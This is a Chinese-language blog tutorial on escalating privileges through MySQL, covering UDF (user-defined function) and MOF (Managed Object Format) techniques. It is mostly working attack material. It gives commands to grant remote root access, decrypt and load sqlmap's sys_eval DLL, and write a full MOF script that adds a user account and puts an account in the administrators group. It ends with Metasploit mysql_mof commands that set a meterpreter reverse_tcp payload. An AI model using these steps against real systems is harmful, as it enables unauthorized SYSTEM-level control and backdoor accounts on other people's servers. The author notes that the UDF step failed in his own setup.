权限提升-MYSQL篇

Mysql提权

UDF提权

UDF介绍

        UDF又称用户定义函数,是一种允许用户在Mysql中创建自定义功能的机制,通过UDF用户可以编写自定义函数将其编译成动态链接库后,加载到Mysql中,在执行Mysql查询语句时就可以使用这些自定义函数,若是管理不当很可能会带来安全隐患

UDF提权原理

        Mysql允许用户通过CREATE FUNCTION语句让用户自定义函数,由于数据库没有对库文件的来源和内容进行验证,从而导致攻击者可以将恶意的动态链接库加载到Mysql中,利用这些文件进行恶意操作

UDF利用条件

        Mysql需要root权限,想直接通过Mysql弱口令连接的话目标必须支持远程登录,默认是不支持远程登录的,如果拿到目标网站的shell直接在本地登录Mysql(代码配置文件通常都会有数据库连接账号密码),利用以下命令授予远程登录

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
FLUSH PRIVILEGES;

        当my.ini中secure_file_priv字段值为空代表可以写入,为NULL代表不可写入,为指定目录代表只能在指定目录中写入

        Mysql版本 > 5.1 udf.dll文件必须放置在Mysql目录下的lib\plugin下

        Mysql版本 < 5.1 udf.dll文件放置在C:\windows\system32下

        Mysql版本 < 5.0 udf.dll文件可以随意放置

UDF手动提权

        假设我们已经拿到网站的Shell,直接在此处登录Mysql账号密码进行连接

        查看数据库位数(udf.dll位数要与数据库的对应)、版本和secure_file_priv

​​​​​​​select version();

show variables like "%version_%";

show variables like "secure_file_priv";

        找到Sqlmap下面的data\udf选择Windows64位的dll文件将它粘到Sqlmap的extra\cloak目录下进行解密,dll的位数必须与数据库位数相对应

python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf_sys_64.dll

        将准备好的dll文件上传到lib\plugin目录下,我这里的环境用的是PHPStudy搭建的打开以后没有这个目录需要自己手动创建一下

        接下来在此处让Mysql加载上传的udf.dll文件

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys_64.dll';

        我也不知道到底咋回事在这里就是执行不出来命令还报错我直接在终端展示效果吧,应该是我环境搭建有点问题吧,道理都是一样的懒得再去调了

MOF提权

MOF介绍

        MOF是一种用于定义和描述 Windows 管理基础结构(WMI)对象的脚本化格式

        MOF 文件包含定义 WMI 类及其属性和方法的代码这些类代表系统中的各种管理对象,如硬件组件、操作系统服务等。

MOF提权原理

        严格来讲MOF提权和Mysql没有太大关系,它是利用了C:/Windows/system32/wbem/mof/下的nullevt.mof文件,在很短时间内该文件就会以SYSTEM权限运行一次,因此我们可以将命令写入到这个文件里从而达到提权的目的

MOF利用条件

        WIndows版本 <= WIndows Server2003

        Mysql具有对这个目录的写入权限

        目标关闭secure_file_priv

MOF提权过程

        一下是MOF脚本内容,下面这段是我们需要执行的命令,将文件利用数据库写入到mof文件目录中即可

ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; };
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
Name  = "filtP2"; 
Query = "Select * From __InstanceModificationEvent " 
    "Where TargetInstance Isa \"Win32_LocalTime\" " 
    "And TargetInstance.Second = 5"; 
QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
ScriptingEngine = "JScript"; 
ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
Filter = $EventFilter; 
};

或者直接使用MSF内置模块进行提权

msf6 > use exploit/windows/mysql/mysql_mof 
msf6 exploit(windows/mysql/mysql_mof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

  • 8
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值